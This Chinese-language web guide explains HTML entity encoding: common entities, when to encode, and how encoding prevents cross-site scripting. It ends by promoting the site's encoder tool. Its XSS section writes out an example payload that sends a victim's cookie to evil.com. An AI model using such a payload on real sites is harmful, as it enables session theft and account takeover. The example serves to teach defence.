HTML实体编码指南:保护您的网页
如果你曾试图在网页上将 <div> 标签显示为文本,结果看到它消失在DOM中,那你已经知道这个问题了。浏览器将某些字符解释为标记指令,而不是内容。HTML实体就是告诉浏览器:"按字面意思显示这个字符,不要解释它。"
本指南涵盖了你实际会用到的实体、编码何时重要,以及如何避免因跳过编码而产生的安全漏洞。
HTML实体为什么存在
HTML使用少数几个字符作为结构分隔符。最重要的三个:
<打开标签>关闭标签&开始实体引用
当浏览器的解析器遇到 <script> 时,它不会显示文本——而是执行JavaScript。当遇到 © 时,它渲染 ©。这种双重用途的特性意味着,如果你想将这些字符显示为可见文本,就需要使用HTML实体来转义它们。
HTML实体是一个以 & 开头、以 ; 结尾的字符串。在这两个分隔符之间是命名引用(如 amp)或数字代码点(如 #38)。
常用HTML实体参考表
以下是你最常用到的实体:
| 字符 | 命名实体 | 数字实体 | 描述 |
|---|---|---|---|
& | & | & | 和号 |
< | < | < | 小于号 |
> | > | > | 大于号 |
" | " | " | 双引号 |
' | ' | ' | 单引号(撇号) |
| (空格) | |   | 不换行空格 |
| © | © | © | 版权符号 |
| — | — | — | 长破折号 |
| … | … | … | 省略号 |
| € | € | € | 欧元符号 |
| ™ | ™ | ™ | 商标符号 |
前五个是必须掌握的。如果你要渲染任何用户生成的内容或显示代码,&、<、>、" 和 ' 会被不断使用。
不换行空格:微妙的存在
防止两个词之间换行。它不只是"一个额外的空格"——浏览器会将多个普通空格折叠为一个,但 总是会被渲染。用途:
- 保持数字和单位在一起:
100 km - 防止段落末尾出现孤立单词
- 格式化价格:
$ 99.99
不要用 来做布局间距。那是CSS的 margin 和 padding 的工作。
命名实体 vs 数字实体 vs 十六进制实体
同一个实体有三种写法:
<!-- 命名实体 -->
&
<!-- 十进制数字实体 -->
&
<!-- 十六进制数字实体 -->
&
三种都会产生和号字符 &。各自的使用场景:
命名实体(&、<、©)可读性强且具有自文档化特性。当有人阅读HTML源代码时,& 能立即传达意图。用于常见字符。
十进制数字实体(&、©)适用于任何Unicode代码点,包括没有命名引用的字符。当你需要没有命名实体的字符,或以编程方式生成HTML时使用。
十六进制实体(&、©)与十进制相同,但使用十六进制表示法。当你使用Unicode表(以十六进制列出代码点)或工具输出十六进制值时很有用。
实际工作中,常见字符用命名实体,其他情况用数字实体。命名实体在所有浏览器中都受支持,且在源代码中更易阅读。
何时编码HTML字符
显示代码片段
如果你的页面展示代码示例,每个 < 和 > 都需要编码:
<!-- 这会出问题 -->
<p>使用 <div> 标签作为容器。</p>
<!-- 这才正确 -->
<p>使用 <div> 标签作为容器。</p>
大多数模板引擎和框架在使用标准输出语法时会自动处理这个问题(例如模板语言中的 {{ variable }} 或JSX中的 {variable})。但当你编写原始HTML或使用 innerHTML 注入内容时,就只能靠自己了。
用户生成内容
任何来自用户的内容——表单输入、评论、个人资料字段、搜索查询——都必须在渲染前进行编码。这是安全要求,不是可选的。
HTML邮件
邮件客户端在字符渲染方面出了名地不一致。将特殊字符编码为实体可确保它们在Gmail、Outlook、Apple Mail及其他所有客户端中正确显示。这对 &、" 和非ASCII符号尤为重要。
内容管理系统
如果你正在构建或使用CMS,内容管道应在输出阶段编码HTML实体。存储在数据库中的内容可以是原始的,但到达浏览器的内容必须经过转义。
XSS防护:编码为什么是安全问题
在将用户输入渲染到HTML之前未进行编码,是跨站脚本(XSS)漏洞最常见的原因。这不是理论风险——XSS持续位于OWASP Top 10榜单中,并被积极利用。
XSS的工作原理
考虑一个显示用户搜索内容的搜索页面:
<!-- 服务器渲染这个 -->
<p>您搜索了:用户输入</p>
如果用户输入正常文本如 javascript tutorials,没有问题。但如果他们输入:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
如果没有编码,浏览器会将其视为真正的 <script> 标签并执行。攻击者现在获得了受害者的cookie、会话令牌,以及可能的完整账户访问权限。
解决方案
在将任何不可信数据插入HTML之前,编码五个关键字符:
| 字符 | 实体 | 重要原因 |
|---|---|---|
& | & | 防止实体注入 |
< | < | 防止标签注入 |
> | > | 关闭注入的标签 |
" | " | 防止属性逃逸 |
' | ' | 防止属性逃逸(单引号) |
这是一个最小的编码函数:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
注意顺序:& 必须最先替换。如果你先替换 <(产生 <),然后替换 &(将 < 变成 &lt;),就会导致双重编码。
仅靠编码无法覆盖所有XSS上下文。如果你将用户数据插入JavaScript、CSS或URL属性中,需要针对具体上下文的编码。HTML实体编码仅保护HTML正文和属性上下文。
框架级别的保护
现代框架默认处理编码:
- React:JSX自动转义
{}表达式中的值。使用dangerouslySetInnerHTML会绕过此保护——不要用于用户内容。 - Angular:模板绑定会自动消毒。
[innerHTML]绕过消毒。 - Vue:Mustache语法
{{ }}自动转义。v-html不会。 - 服务端模板(EJS、Jinja2、Twig):大多数默认转义,但请检查你的配置。
模式是一致的:标准路径是安全的,并且总有一个用于原始HTML的逃逸口。永远不要让用户输入通过逃逸口。
使用我们的工具编码HTML
需要快速编码或解码HTML实体?我们的HTML编码器工具可以即时处理:
- 粘贴文本,一键获得编码输出
- 支持所有命名和数字实体
- 将实体解码回可读文本
- 所有处理在客户端完成——你的数据永远不会离开浏览器
特别适用于准备HTML邮件内容、为文档编码代码片段或在嵌入模板前对文本进行消毒。
常见错误
双重编码:将文本通过编码器处理两次会把 & 变成 &amp;。如果你在页面上看到 & 显示为字面文本,说明你在管道的某个地方做了双重编码。
在 <script> 标签内编码:HTML实体编码在脚本块内不起作用。JavaScript解析器不理解 <——它将其视为字面字符串 <。对于内联脚本,请使用JavaScript字符串转义。
用 做间距:这会造成可访问性问题。屏幕阅读器可能会逐个朗读每个不换行空格。请使用CSS进行视觉间距。
忘记属性值:编码不仅仅是针对文本内容。属性值也需要编码,特别是当它们包含用户输入时:
<!-- 危险 -->
<input value="用户输入">
<!-- 安全 -->
<input value=""已编码的" 值">
快速参考:编码决策树
- 内容是用户生成的吗? → 始终编码
- 你在显示代码吗? → 编码
<、>和& - 它要放在HTML属性中吗? → 还要编码
"和' - 它要放在URL中吗? → 使用URL编码(参见我们的URL编码指南)
- 它要放在JavaScript中吗? → 使用JavaScript转义,而不是HTML实体
相关资源
- Base64编码详解 — 理解Web开发的另一种基本编码格式
- URL编码指南 — 了解何时以及如何在URL中进行百分比编码
- HTML编码器工具 — 在浏览器中即时编码和解码HTML实体
🛠️ 试试我们的HTML编码器,在浏览器中直接编码和解码HTML实体——不向任何服务器发送数据。